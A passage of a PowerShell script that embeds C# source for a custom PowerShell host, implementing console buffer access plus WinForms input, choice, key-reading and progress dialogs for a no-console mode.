		[StructLayout(LayoutKind.Sequential)]
		public struct SMALL_RECT
		{
			public short Left;
			public short Top;
			public short Right;
			public short Bottom;
		}

		/* Reads character and color attribute data from a rectangular block of character cells in a console screen buffer,
			 and the function writes the data to a rectangular block at a specified location in the destination buffer. */
		[DllImport("kernel32.dll", EntryPoint = "ReadConsoleOutputW", CharSet = CharSet.Unicode, SetLastError = true)]
		internal static extern bool ReadConsoleOutput(
			IntPtr hConsoleOutput,
			/* This pointer is treated as the origin of a two-dimensional array of CHAR_INFO structures
			whose size is specified by the dwBufferSize parameter.*/
			[MarshalAs(UnmanagedType.LPArray), Out] CHAR_INFO[,] lpBuffer,
			COORD dwBufferSize,
			COORD dwBufferCoord,
			ref SMALL_RECT lpReadRegion);

		/* Writes character and color attribute data to a specified rectangular block of character cells in a console screen buffer.
			The data to be written is taken from a correspondingly sized rectangular block at a specified location in the source buffer */
		[DllImport("kernel32.dll", EntryPoint = "WriteConsoleOutputW", CharSet = CharSet.Unicode, SetLastError = true)]
		internal static extern bool WriteConsoleOutput(
			IntPtr hConsoleOutput,
			/* This pointer is treated as the origin of a two-dimensional array of CHAR_INFO structures
			whose size is specified by the dwBufferSize parameter.*/
			[MarshalAs(UnmanagedType.LPArray), In] CHAR_INFO[,] lpBuffer,
			COORD dwBufferSize,
			COORD dwBufferCoord,
			ref SMALL_RECT lpWriteRegion);

		/* Moves a block of data in a screen buffer. The effects of the move can be limited by specifying a clipping rectangle, so
			the contents of the console screen buffer outside the clipping rectangle are unchanged. */
		[DllImport("kernel32.dll", SetLastError = true)]
		static extern bool ScrollConsoleScreenBuffer(
			IntPtr hConsoleOutput,
			[In] ref SMALL_RECT lpScrollRectangle,
			[In] ref SMALL_RECT lpClipRectangle,
			COORD dwDestinationOrigin,
			[In] ref CHAR_INFO lpFill);

		[DllImport("kernel32.dll", SetLastError = true)]
			static extern IntPtr GetStdHandle(int nStdHandle);
"@ })

		public override ConsoleColor BackgroundColor
		{
$(if (!$noConsole){ @"
			get
			{
				return Console.BackgroundColor;
			}
			set
			{
				Console.BackgroundColor = value;
			}
"@ } else {@"
			get
			{
				return ncBackgroundColor;
			}
			set
			{
				ncBackgroundColor = value;
			}
"@ })
		}

		public override System.Management.Automation.Host.Size BufferSize
		{
			get
			{
$(if (!$noConsole){ @"
				if (ConsoleInfo.IsOutputRedirected())
					// return default value for redirection. If no valid value is returned WriteLine will not be called
					return new System.Management.Automation.Host.Size(120, 50);
				else
					return new System.Management.Automation.Host.Size(Console.BufferWidth, Console.BufferHeight);
"@ } else {@"
					// return default value for Winforms. If no valid value is returned WriteLine will not be called
				return new System.Management.Automation.Host.Size(120, 50);
"@ })
			}
			set
			{
$(if (!$noConsole){ @"
				Console.BufferWidth = value.Width;
				Console.BufferHeight = value.Height;
"@ })
			}
		}

		public override Coordinates CursorPosition
		{
			get
			{
$(if (!$noConsole){ @"
				return new Coordinates(Console.CursorLeft, Console.CursorTop);
"@ } else {@"
				// Dummywert für Winforms zurückgeben.
				return new Coordinates(0, 0);
"@ })
			}
			set
			{
$(if (!$noConsole){ @"
				Console.CursorTop = value.Y;
				Console.CursorLeft = value.X;
"@ })
			}
		}

		public override int CursorSize
		{
			get
			{
$(if (!$noConsole){ @"
				return Console.CursorSize;
"@ } else {@"
				// Dummywert für Winforms zurückgeben.
				return 25;
"@ })
			}
			set
			{
$(if (!$noConsole){ @"
				Console.CursorSize = value;
"@ })
			}
		}

$(if ($noConsole){ @"
		private Form InvisibleForm = null;
"@ })

		public override void FlushInputBuffer()
		{
$(if (!$noConsole){ @"
			if (!ConsoleInfo.IsInputRedirected())
			{	while (Console.KeyAvailable)
					Console.ReadKey(true);
			}
"@ } else {@"
			if (InvisibleForm != null)
			{
				InvisibleForm.Close();
				InvisibleForm = null;
			}
			else
			{
				InvisibleForm = new Form();
				InvisibleForm.Opacity = 0;
				InvisibleForm.ShowInTaskbar = false;
				InvisibleForm.Visible = true;
			}
"@ })
		}

		public override ConsoleColor ForegroundColor
		{
$(if (!$noConsole){ @"
			get
			{
				return Console.ForegroundColor;
			}
			set
			{
				Console.ForegroundColor = value;
			}
"@ } else {@"
			get
			{
				return ncForegroundColor;
			}
			set
			{
				ncForegroundColor = value;
			}
"@ })
		}

		public override BufferCell[,] GetBufferContents(System.Management.Automation.Host.Rectangle rectangle)
		{
$(if ($compiler20) {@"
			throw new Exception("Method GetBufferContents not implemented for .Net V2.0 compiler");
"@ } else { if (!$noConsole) {@"
			IntPtr hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
			CHAR_INFO[,] buffer = new CHAR_INFO[rectangle.Bottom - rectangle.Top + 1, rectangle.Right - rectangle.Left + 1];
			COORD buffer_size = new COORD() {X = (short)(rectangle.Right - rectangle.Left + 1), Y = (short)(rectangle.Bottom - rectangle.Top + 1)};
			COORD buffer_index = new COORD() {X = 0, Y = 0};
			SMALL_RECT screen_rect = new SMALL_RECT() {Left = (short)rectangle.Left, Top = (short)rectangle.Top, Right = (short)rectangle.Right, Bottom = (short)rectangle.Bottom};

			ReadConsoleOutput(hStdOut, buffer, buffer_size, buffer_index, ref screen_rect);

			System.Management.Automation.Host.BufferCell[,] ScreenBuffer = new System.Management.Automation.Host.BufferCell[rectangle.Bottom - rectangle.Top + 1, rectangle.Right - rectangle.Left + 1];
			for (int y = 0; y <= rectangle.Bottom - rectangle.Top; y++)
				for (int x = 0; x <= rectangle.Right - rectangle.Left; x++)
				{
					ScreenBuffer[y,x] = new System.Management.Automation.Host.BufferCell(buffer[y,x].AsciiChar, (System.ConsoleColor)(buffer[y,x].Attributes & 0xF), (System.ConsoleColor)((buffer[y,x].Attributes & 0xF0) / 0x10), System.Management.Automation.Host.BufferCellType.Complete);
				}

			return ScreenBuffer;
"@ } else {@"
			System.Management.Automation.Host.BufferCell[,] ScreenBuffer = new System.Management.Automation.Host.BufferCell[rectangle.Bottom - rectangle.Top + 1, rectangle.Right - rectangle.Left + 1];

			for (int y = 0; y <= rectangle.Bottom - rectangle.Top; y++)
				for (int x = 0; x <= rectangle.Right - rectangle.Left; x++)
				{
					ScreenBuffer[y,x] = new System.Management.Automation.Host.BufferCell(' ', ncForegroundColor, ncBackgroundColor, System.Management.Automation.Host.BufferCellType.Complete);
				}

			return ScreenBuffer;
"@ } })
		}

		public override bool KeyAvailable
		{
			get
			{
$(if (!$noConsole) {@"
				return Console.KeyAvailable;
"@ } else {@"
				return true;
"@ })
			}
		}

		public override System.Management.Automation.Host.Size MaxPhysicalWindowSize
		{
			get
			{
$(if (!$noConsole){ @"
				return new System.Management.Automation.Host.Size(Console.LargestWindowWidth, Console.LargestWindowHeight);
"@ } else {@"
				// Dummy-Wert für Winforms
				return new System.Management.Automation.Host.Size(240, 84);
"@ })
			}
		}

		public override System.Management.Automation.Host.Size MaxWindowSize
		{
			get
			{
$(if (!$noConsole){ @"
				return new System.Management.Automation.Host.Size(Console.BufferWidth, Console.BufferWidth);
"@ } else {@"
				// Dummy-Wert für Winforms
				return new System.Management.Automation.Host.Size(120, 84);
"@ })
			}
		}

		public override KeyInfo ReadKey(ReadKeyOptions options)
		{
$(if (!$noConsole) {@"
			ConsoleKeyInfo cki = Console.ReadKey((options & ReadKeyOptions.NoEcho)!=0);

			ControlKeyStates cks = 0;
			if ((cki.Modifiers & ConsoleModifiers.Alt) != 0)
				cks |= ControlKeyStates.LeftAltPressed | ControlKeyStates.RightAltPressed;
			if ((cki.Modifiers & ConsoleModifiers.Control) != 0)
				cks |= ControlKeyStates.LeftCtrlPressed | ControlKeyStates.RightCtrlPressed;
			if ((cki.Modifiers & ConsoleModifiers.Shift) != 0)
				cks |= ControlKeyStates.ShiftPressed;
			if (Console.CapsLock)
				cks |= ControlKeyStates.CapsLockOn;
			if (Console.NumberLock)
				cks |= ControlKeyStates.NumLockOn;

			return new KeyInfo((int)cki.Key, cki.KeyChar, cks, (options & ReadKeyOptions.IncludeKeyDown)!=0);
"@ } else {@"
			if ((options & ReadKeyOptions.IncludeKeyDown)!=0)
				return ReadKeyBox.Show("", "", true);
			else
				return ReadKeyBox.Show("", "", false);
"@ })
		}

		public override void ScrollBufferContents(System.Management.Automation.Host.Rectangle source, Coordinates destination, System.Management.Automation.Host.Rectangle clip, BufferCell fill)
		{ // no destination block clipping implemented
$(if (!$noConsole) { if ($compiler20) {@"
			throw new Exception("Method ScrollBufferContents not implemented for .Net V2.0 compiler");
"@ } else {@"
			// clip area out of source range?
			if ((source.Left > clip.Right) || (source.Right < clip.Left) || (source.Top > clip.Bottom) || (source.Bottom < clip.Top))
			{ // clipping out of range -> nothing to do
				return;
			}

			IntPtr hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
			SMALL_RECT lpScrollRectangle = new SMALL_RECT() {Left = (short)source.Left, Top = (short)source.Top, Right = (short)(source.Right), Bottom = (short)(source.Bottom)};
			SMALL_RECT lpClipRectangle;
			if (clip != null)
			{ lpClipRectangle = new SMALL_RECT() {Left = (short)clip.Left, Top = (short)clip.Top, Right = (short)(clip.Right), Bottom = (short)(clip.Bottom)}; }
			else
			{ lpClipRectangle = new SMALL_RECT() {Left = (short)0, Top = (short)0, Right = (short)(Console.WindowWidth - 1), Bottom = (short)(Console.WindowHeight - 1)}; }
			COORD dwDestinationOrigin = new COORD() {X = (short)(destination.X), Y = (short)(destination.Y)};
			CHAR_INFO lpFill = new CHAR_INFO() { AsciiChar = fill.Character, Attributes = (ushort)((int)(fill.ForegroundColor) + (int)(fill.BackgroundColor)*16) };

			ScrollConsoleScreenBuffer(hStdOut, ref lpScrollRectangle, ref lpClipRectangle, dwDestinationOrigin, ref lpFill);
"@ } })
		}

		public override void SetBufferContents(System.Management.Automation.Host.Rectangle rectangle, BufferCell fill)
		{
$(if (!$noConsole){ @"
			// using a trick: move the buffer out of the screen, the source area gets filled with the char fill.Character
			if (rectangle.Left >= 0)
				Console.MoveBufferArea(rectangle.Left, rectangle.Top, rectangle.Right-rectangle.Left+1, rectangle.Bottom-rectangle.Top+1, BufferSize.Width, BufferSize.Height, fill.Character, fill.ForegroundColor, fill.BackgroundColor);
			else
			{ // Clear-Host: move all content off the screen
				Console.MoveBufferArea(0, 0, BufferSize.Width, BufferSize.Height, BufferSize.Width, BufferSize.Height, fill.Character, fill.ForegroundColor, fill.BackgroundColor);
			}
"@ })
		}

		public override void SetBufferContents(Coordinates origin, BufferCell[,] contents)
		{
$(if (!$noConsole) { if ($compiler20) {@"
			throw new Exception("Method SetBufferContents not implemented for .Net V2.0 compiler");
"@ } else {@"
			IntPtr hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
			CHAR_INFO[,] buffer = new CHAR_INFO[contents.GetLength(0), contents.GetLength(1)];
			COORD buffer_size = new COORD() {X = (short)(contents.GetLength(1)), Y = (short)(contents.GetLength(0))};
			COORD buffer_index = new COORD() {X = 0, Y = 0};
			SMALL_RECT screen_rect = new SMALL_RECT() {Left = (short)origin.X, Top = (short)origin.Y, Right = (short)(origin.X + contents.GetLength(1) - 1), Bottom = (short)(origin.Y + contents.GetLength(0) - 1)};

			for (int y = 0; y < contents.GetLength(0); y++)
				for (int x = 0; x < contents.GetLength(1); x++)
				{
					buffer[y,x] = new CHAR_INFO() { AsciiChar = contents[y,x].Character, Attributes = (ushort)((int)(contents[y,x].ForegroundColor) + (int)(contents[y,x].BackgroundColor)*16) };
				}

			WriteConsoleOutput(hStdOut, buffer, buffer_size, buffer_index, ref screen_rect);
"@ } })
		}

		public override Coordinates WindowPosition
		{
			get
			{
				Coordinates s = new Coordinates();
$(if (!$noConsole){ @"
				s.X = Console.WindowLeft;
				s.Y = Console.WindowTop;
"@ } else {@"
				// Dummy-Wert für Winforms
				s.X = 0;
				s.Y = 0;
"@ })
				return s;
			}
			set
			{
$(if (!$noConsole){ @"
				Console.WindowLeft = value.X;
				Console.WindowTop = value.Y;
"@ })
			}
		}

		public override System.Management.Automation.Host.Size WindowSize
		{
			get
			{
				System.Management.Automation.Host.Size s = new System.Management.Automation.Host.Size();
$(if (!$noConsole){ @"
				s.Height = Console.WindowHeight;
				s.Width = Console.WindowWidth;
"@ } else {@"
				// Dummy-Wert für Winforms
				s.Height = 50;
				s.Width = 120;
"@ })
				return s;
			}
			set
			{
$(if (!$noConsole){ @"
				Console.WindowWidth = value.Width;
				Console.WindowHeight = value.Height;
"@ })
			}
		}

		public override string WindowTitle
		{
			get
			{
$(if (!$noConsole){ @"
				return Console.Title;
"@ } else {@"
				return System.AppDomain.CurrentDomain.FriendlyName;
"@ })
			}
			set
			{
$(if (!$noConsole){ @"
				Console.Title = value;
"@ })
			}
		}
	}

$(if ($noConsole){ @"
	public class InputBox
	{
		[DllImport("user32.dll", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
		private static extern IntPtr MB_GetString(uint strId);

		public static DialogResult Show(string sTitle, string sPrompt, ref string sValue, bool bSecure)
		{
			// Generate controls
			Form form = new Form();
			form.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
			form.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
			Label label = new Label();
			TextBox textBox = new TextBox();
			Button buttonOk = new Button();
			Button buttonCancel = new Button();

			// Sizes and positions are defined according to the label
			// This control has to be finished first
			if (string.IsNullOrEmpty(sPrompt))
			{
				if (bSecure)
					label.Text = "Secure input:   ";
				else
					label.Text = "Input:          ";
			}
			else
				label.Text = sPrompt;
			label.Location = new Point(9, 19);
			label.MaximumSize = new System.Drawing.Size(System.Windows.Forms.Screen.FromControl(form).Bounds.Width*5/8 - 18, 0);
			label.AutoSize = true;
			// Size of the label is defined not before Add()
			form.Controls.Add(label);

			// Generate textbox
			if (bSecure) textBox.UseSystemPasswordChar = true;
			textBox.Text = sValue;
			textBox.SetBounds(12, label.Bottom, label.Right - 12, 20);

			// Generate buttons
			// get localized "OK"-string
			string sTextOK = Marshal.PtrToStringUni(MB_GetString(0));
			if (string.IsNullOrEmpty(sTextOK))
				buttonOk.Text = "OK";
			else
				buttonOk.Text = sTextOK;

			// get localized "Cancel"-string
			string sTextCancel = Marshal.PtrToStringUni(MB_GetString(1));
			if (string.IsNullOrEmpty(sTextCancel))
				buttonCancel.Text = "Cancel";
			else
				buttonCancel.Text = sTextCancel;

			buttonOk.DialogResult = DialogResult.OK;
			buttonCancel.DialogResult = DialogResult.Cancel;
			buttonOk.SetBounds(System.Math.Max(12, label.Right - 158), label.Bottom + 36, 75, 23);
			buttonCancel.SetBounds(System.Math.Max(93, label.Right - 77), label.Bottom + 36, 75, 23);

			// Configure form
			if (string.IsNullOrEmpty(sTitle))
				form.Text = System.AppDomain.CurrentDomain.FriendlyName;
			else
				form.Text = sTitle;
			form.ClientSize = new System.Drawing.Size(System.Math.Max(178, label.Right + 10), label.Bottom + 71);
			form.Controls.AddRange(new Control[] { textBox, buttonOk, buttonCancel });
			form.FormBorderStyle = FormBorderStyle.FixedDialog;
			form.StartPosition = FormStartPosition.CenterScreen;
			try {
				form.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location);
			}
			catch
			{ }
			form.MinimizeBox = false;
			form.MaximizeBox = false;
			form.AcceptButton = buttonOk;
			form.CancelButton = buttonCancel;

			// Show form and compute results
			DialogResult dialogResult = form.ShowDialog();
			sValue = textBox.Text;
			return dialogResult;
		}

		public static DialogResult Show(string sTitle, string sPrompt, ref string sValue)
		{
			return Show(sTitle, sPrompt, ref sValue, false);
		}
	}

	public class ChoiceBox
	{
		public static int Show(System.Collections.ObjectModel.Collection<ChoiceDescription> aAuswahl, int iVorgabe, string sTitle, string sPrompt)
		{
			// cancel if array is empty
			if (aAuswahl == null) return -1;
			if (aAuswahl.Count < 1) return -1;

			// Generate controls
			Form form = new Form();
			form.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
			form.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
			RadioButton[] aradioButton = new RadioButton[aAuswahl.Count];
			ToolTip toolTip = new ToolTip();
			Button buttonOk = new Button();

			// Sizes and positions are defined according to the label
			// This control has to be finished first when a prompt is available
			int iPosY = 19, iMaxX = 0;
			if (!string.IsNullOrEmpty(sPrompt))
			{
				Label label = new Label();
				label.Text = sPrompt;
				label.Location = new Point(9, 19);
				label.MaximumSize = new System.Drawing.Size(System.Windows.Forms.Screen.FromControl(form).Bounds.Width*5/8 - 18, 0);
				label.AutoSize = true;
				// erst durch Add() wird die Größe des Labels ermittelt
				form.Controls.Add(label);
				iPosY = label.Bottom;
				iMaxX = label.Right;
			}

			// An den Radiobuttons orientieren sich die weiteren Größen und Positionen
			// Diese Controls also jetzt fertigstellen
			int Counter = 0;
			int tempWidth = System.Windows.Forms.Screen.FromControl(form).Bounds.Width*5/8 - 18;
			foreach (ChoiceDescription sAuswahl in aAuswahl)
			{
				aradioButton[Counter] = new RadioButton();
				aradioButton[Counter].Text = sAuswahl.Label;
				if (Counter == iVorgabe)
					aradioButton[Counter].Checked = true;
				aradioButton[Counter].Location = new Point(9, iPosY);
				aradioButton[Counter].AutoSize = true;
				// erst durch Add() wird die Größe des Labels ermittelt
				form.Controls.Add(aradioButton[Counter]);
				if (aradioButton[Counter].Width > tempWidth)
				{ // radio field to wide for screen -> make two lines
					int tempHeight = aradioButton[Counter].Height;
					aradioButton[Counter].Height = tempHeight*(1 + (aradioButton[Counter].Width-1)/tempWidth);
					aradioButton[Counter].Width = tempWidth;
					aradioButton[Counter].AutoSize = false;
				}
				iPosY = aradioButton[Counter].Bottom;
				if (aradioButton[Counter].Right > iMaxX) { iMaxX = aradioButton[Counter].Right; }
				if (!string.IsNullOrEmpty(sAuswahl.HelpMessage))
					 toolTip.SetToolTip(aradioButton[Counter], sAuswahl.HelpMessage);
				Counter++;
			}

			// Tooltip auch anzeigen, wenn Parent-Fenster inaktiv ist
			toolTip.ShowAlways = true;

			// Button erzeugen
			buttonOk.Text = "OK";
			buttonOk.DialogResult = DialogResult.OK;
			buttonOk.SetBounds(System.Math.Max(12, iMaxX - 77), iPosY + 36, 75, 23);

			// configure form
			if (string.IsNullOrEmpty(sTitle))
				form.Text = System.AppDomain.CurrentDomain.FriendlyName;
			else
				form.Text = sTitle;
			form.ClientSize = new System.Drawing.Size(System.Math.Max(178, iMaxX + 10), iPosY + 71);
			form.Controls.Add(buttonOk);
			form.FormBorderStyle = FormBorderStyle.FixedDialog;
			form.StartPosition = FormStartPosition.CenterScreen;
			try {
				form.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location);
			}
			catch
			{ }
			form.MinimizeBox = false;
			form.MaximizeBox = false;
			form.AcceptButton = buttonOk;

			// show and compute form
			if (form.ShowDialog() == DialogResult.OK)
			{ int iRueck = -1;
				for (Counter = 0; Counter < aAuswahl.Count; Counter++)
				{
					if (aradioButton[Counter].Checked == true)
					{ iRueck = Counter; }
				}
				return iRueck;
			}
			else
				return -1;
		}
	}

	public class ReadKeyBox
	{
		[DllImport("user32.dll")]
		public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpKeyState,
			[Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff,
			int cchBuff, uint wFlags);

		static string GetCharFromKeys(Keys keys, bool bShift, bool bAltGr)
		{
			System.Text.StringBuilder buffer = new System.Text.StringBuilder(64);
			byte[] keyboardState = new byte[256];
			if (bShift)
			{ keyboardState[(int) Keys.ShiftKey] = 0xff; }
			if (bAltGr)
			{ keyboardState[(int) Keys.ControlKey] = 0xff;
				keyboardState[(int) Keys.Menu] = 0xff;
			}
			if (ToUnicode((uint) keys, 0, keyboardState, buffer, 64, 0) >= 1)
				return buffer.ToString();
			else
				return "\0";
		}

		class KeyboardForm : Form
		{
			public KeyboardForm()
			{
				this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
				this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
				this.KeyDown += new KeyEventHandler(KeyboardForm_KeyDown);
				this.KeyUp += new KeyEventHandler(KeyboardForm_KeyUp);
			}

			// check for KeyDown or KeyUp?
			public bool checkKeyDown = true;
			// key code for pressed key
			public KeyInfo keyinfo;

			void KeyboardForm_KeyDown(object sender, KeyEventArgs e)
			{
				if (checkKeyDown)
				{ // store key info
					keyinfo.VirtualKeyCode = e.KeyValue;
					keyinfo.Character = GetCharFromKeys(e.KeyCode, e.Shift, e.Alt & e.Control)[0];
					keyinfo.KeyDown = false;
					keyinfo.ControlKeyState = 0;
					if (e.Alt) { keyinfo.ControlKeyState = ControlKeyStates.LeftAltPressed | ControlKeyStates.RightAltPressed; }
					if (e.Control)
					{ keyinfo.ControlKeyState |= ControlKeyStates.LeftCtrlPressed | ControlKeyStates.RightCtrlPressed;
						if (!e.Alt)
						{ if (e.KeyValue > 64 && e.KeyValue < 96) keyinfo.Character = (char)(e.KeyValue - 64); }
					}
					if (e.Shift) { keyinfo.ControlKeyState |= ControlKeyStates.ShiftPressed; }
					if ((e.Modifiers & System.Windows.Forms.Keys.CapsLock) > 0) { keyinfo.ControlKeyState |= ControlKeyStates.CapsLockOn; }
					if ((e.Modifiers & System.Windows.Forms.Keys.NumLock) > 0) { keyinfo.ControlKeyState |= ControlKeyStates.NumLockOn; }
					// and close the form
					this.Close();
				}
			}

			void KeyboardForm_KeyUp(object sender, KeyEventArgs e)
			{
				if (!checkKeyDown)
				{ // store key info
					keyinfo.VirtualKeyCode = e.KeyValue;
					keyinfo.Character = GetCharFromKeys(e.KeyCode, e.Shift, e.Alt & e.Control)[0];
					keyinfo.KeyDown = true;
					keyinfo.ControlKeyState = 0;
					if (e.Alt) { keyinfo.ControlKeyState = ControlKeyStates.LeftAltPressed | ControlKeyStates.RightAltPressed; }
					if (e.Control)
					{ keyinfo.ControlKeyState |= ControlKeyStates.LeftCtrlPressed | ControlKeyStates.RightCtrlPressed;
						if (!e.Alt)
						{ if (e.KeyValue > 64 && e.KeyValue < 96) keyinfo.Character = (char)(e.KeyValue - 64); }
					}
					if (e.Shift) { keyinfo.ControlKeyState |= ControlKeyStates.ShiftPressed; }
					if ((e.Modifiers & System.Windows.Forms.Keys.CapsLock) > 0) { keyinfo.ControlKeyState |= ControlKeyStates.CapsLockOn; }
					if ((e.Modifiers & System.Windows.Forms.Keys.NumLock) > 0) { keyinfo.ControlKeyState |= ControlKeyStates.NumLockOn; }
					// and close the form
					this.Close();
				}
			}
		}

		public static KeyInfo Show(string sTitle, string sPrompt, bool bIncludeKeyDown)
		{
			// Controls erzeugen
			KeyboardForm form = new KeyboardForm();
			Label label = new Label();

			// Am Label orientieren sich die Größen und Positionen
			// Dieses Control also zuerst fertigstellen
			if (string.IsNullOrEmpty(sPrompt))
			{
					label.Text = "Press a key";
			}
			else
				label.Text = sPrompt;
			label.Location = new Point(9, 19);
			label.MaximumSize = new System.Drawing.Size(System.Windows.Forms.Screen.FromControl(form).Bounds.Width*5/8 - 18, 0);
			label.AutoSize = true;
			// erst durch Add() wird die Größe des Labels ermittelt
			form.Controls.Add(label);

			// configure form
			if (string.IsNullOrEmpty(sTitle))
				form.Text = System.AppDomain.CurrentDomain.FriendlyName;
			else
				form.Text = sTitle;
			form.ClientSize = new System.Drawing.Size(System.Math.Max(178, label.Right + 10), label.Bottom + 55);
			form.FormBorderStyle = FormBorderStyle.FixedDialog;
			form.StartPosition = FormStartPosition.CenterScreen;
			try {
				form.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location);
			}
			catch
			{ }
			form.MinimizeBox = false;
			form.MaximizeBox = false;

			// show and compute form
			form.checkKeyDown = bIncludeKeyDown;
			form.ShowDialog();
			return form.keyinfo;
		}
	}

	public class ProgressForm : Form
	{
		private ConsoleColor ProgressBarColor = ConsoleColor.DarkCyan;

		struct ProgressData
		{
			internal Label lblActivity;
			internal Label lblStatus;
			internal ProgressBar objProgressBar;
			internal Label lblRemainingTime;
			internal Label lblOperation;
			internal int ActivityId;
			internal int ParentActivityId;
			internal int Depth;
		};

		private List<ProgressData> progressDataList = new List<ProgressData>();

		private Color DrawingColor(ConsoleColor color)
		{  // convert ConsoleColor to System.Drawing.Color
			switch (color)
			{
				case ConsoleColor.Black: return Color.Black;
				case ConsoleColor.Blue: return Color.Blue;
				case ConsoleColor.Cyan: return Color.Cyan;
				case ConsoleColor.DarkBlue: return ColorTranslator.FromHtml("#000080");
				case ConsoleColor.DarkGray: return ColorTranslator.FromHtml("#808080");
				case ConsoleColor.DarkGreen: return ColorTranslator.FromHtml("#008000");
				case ConsoleColor.DarkCyan: return ColorTranslator.FromHtml("#008080");
				case ConsoleColor.DarkMagenta: return ColorTranslator.FromHtml("#800080");
				case ConsoleColor.DarkRed: return ColorTranslator.FromHtml("#800000");
				case ConsoleColor.DarkYellow: return ColorTranslator.FromHtml("#808000");
				case ConsoleColor.Gray: return ColorTranslator.FromHtml("#C0C0C0");
				case ConsoleColor.Green: return ColorTranslator.FromHtml("#00FF00");
				case ConsoleColor.Magenta: return Color.Magenta;
				case ConsoleColor.Red: return Color.Red;
				case ConsoleColor.White: return Color.White;
				default: return Color.Yellow;
			}
		}

		private void InitializeComponent()
		{
			this.SuspendLayout();

			this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
			this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;

			this.AutoScroll = true;
			this.Text = System.AppDomain.CurrentDomain.FriendlyName;
			this.Height = 147;
			this.Width = 800;
			this.BackColor = Color.White;
			this.FormBorderStyle = FormBorderStyle.FixedSingle;
			this.MinimizeBox = false;
			this.MaximizeBox = false;
			this.ControlBox = false;
			this.StartPosition = FormStartPosition.CenterScreen;

			this.ResumeLayout();
		}

		private void AddBar(ref ProgressData pd, int position)
		{
			// Create Label
			pd.lblActivity = new Label();
			pd.lblActivity.Left = 5;
			pd.lblActivity.Top = 104*position + 10;
			pd.lblActivity.Width = 800 - 20;
			pd.lblActivity.Height = 16;
			pd.lblActivity.Font = new Font(pd.lblActivity.Font, FontStyle.Bold);
			pd.lblActivity.Text = "";
			// Add Label to Form
			this.Controls.Add(pd.lblActivity);

			// Create Label
			pd.lblStatus = new Label();
			pd.lblStatus.Left = 25;
			pd.lblStatus.Top = 104*position + 26;
			pd.lblStatus.Width = 800 - 40;
			pd.lblStatus.Height = 16;
			pd.lblStatus.Text = "";
			// Add Label to Form
			this.Controls.Add(pd.lblStatus);

			// Create ProgressBar
			pd.objProgressBar = new ProgressBar();
			pd.objProgressBar.Value = 0;
$(if ($noVisualStyles) {@"
			pd.objProgressBar.Style = ProgressBarStyle.Continuous;
"@ } else {@"
			pd.objProgressBar.Style = ProgressBarStyle.Blocks;
"@ })
			pd.objProgressBar.ForeColor = DrawingColor(ProgressBarColor);
			if (pd.Depth < 15)
			{
				pd.objProgressBar.Size = new System.Drawing.Size(800 - 60 - 30*pd.Depth, 20);
				pd.objProgressBar.Left = 25 + 30*pd.Depth;
			}
			else
			{
				pd.objProgressBar.Size = new System.Drawing.Size(800 - 60 - 450, 20);
				pd.objProgressBar.Left = 25 + 450;
			}
			pd.objProgressBar.Top = 104*position + 47;
			// Add ProgressBar to Form
			this.Controls.Add(pd.objProgressBar);

			// Create Label
			pd.lblRemainingTime = new Label();
			pd.lblRemainingTime.Left = 5;
			pd.lblRemainingTime.Top = 104*position + 72;
			pd.lblRemainingTime.Width = 800 - 20;
			pd.lblRemainingTime.Height = 16;
			pd.lblRemainingTime.Text = "";
			// Add Label to Form
			this.Controls.Add(pd.lblRemainingTime);

			// Create Label
			pd.lblOperation = new Label();
			pd.lblOperation.Left = 25;
			pd.lblOperation.Top = 104*position + 88;
			pd.lblOperation.Width = 800 - 40;
			pd.lblOperation.Height = 16;
			pd.lblOperation.Text = "";
			// Add Label to Form
			this.Controls.Add(pd.lblOperation);
		}

		public int GetCount()
		{
			return progressDataList.Count;
		}

		public ProgressForm()
		{
			InitializeComponent();
		}

		public ProgressForm(ConsoleColor BarColor)
		{
			ProgressBarColor = BarColor;
			InitializeComponent();
		}

		public void Update(ProgressRecord objRecord)
		{
			if (objRecord == null)
				return;

			int currentProgress = -1;
			for (int i = 0; i < progressDataList.Count; i++)
			{
				if (progressDataList[i].ActivityId == objRecord.ActivityId)
				{ currentProgress = i;
					break;
				}
			}

			if (objRecord.RecordType == ProgressRecordType.Completed)
			{
				if (currentProgress < 0) return;

				this.Controls.Remove(progressDataList[currentProgress].lblActivity);
				this.Controls.Remove(progressDataList[currentProgress].lblStatus);
				this.Controls.Remove(progressDataList[currentProgress].objProgressBar);
				this.Controls.Remove(progressDataList[currentProgress].lblRemainingTime);
				this.Controls.Remove(progressDataList[currentProgress].lblOperation);

				progressDataList[currentProgress].lblActivity.Dispose();
				progressDataList[currentProgress].lblStatus.Dispose();
				progressDataList[currentProgress].objProgressBar.Dispose();
				progressDataList[currentProgress].lblRemainingTime.Dispose();
				progressDataList[currentProgress].lblOperation.Dispose();

				progressDataList.RemoveAt(currentProgress);

				if (progressDataList.Count == 0)
				{
					this.Close();
					return;
				}

				for (int i = currentProgress; i < progressDataList.Count; i++)
				{
					progressDataList[i].lblActivity.Top = 104*i + 10;
					progressDataList[i].lblStatus.Top = 104*i + 26;
					progressDataList[i].objProgressBar.Top = 104*i + 47;
					progressDataList[i].lblRemainingTime.Top = 104*i + 72;
					progressDataList[i].lblOperation.Top = 104*i + 88;
				}

				if (104*progressDataList.Count + 43 <= System.Windows.Forms.Screen.FromControl(this).Bounds.Height)
				{
					this.Height = 104*progressDataList.Count + 43;
					this.Location = new Point((System.Windows.Forms.Screen.FromControl(this).Bounds.Width - this.Width)/2, (System.Windows.Forms.Screen.FromControl(this).Bounds.Height - this.Height)/2);
				}
				else
				{
					this.Height = System.Windows.Forms.Screen.FromControl(this).Bounds.Height;
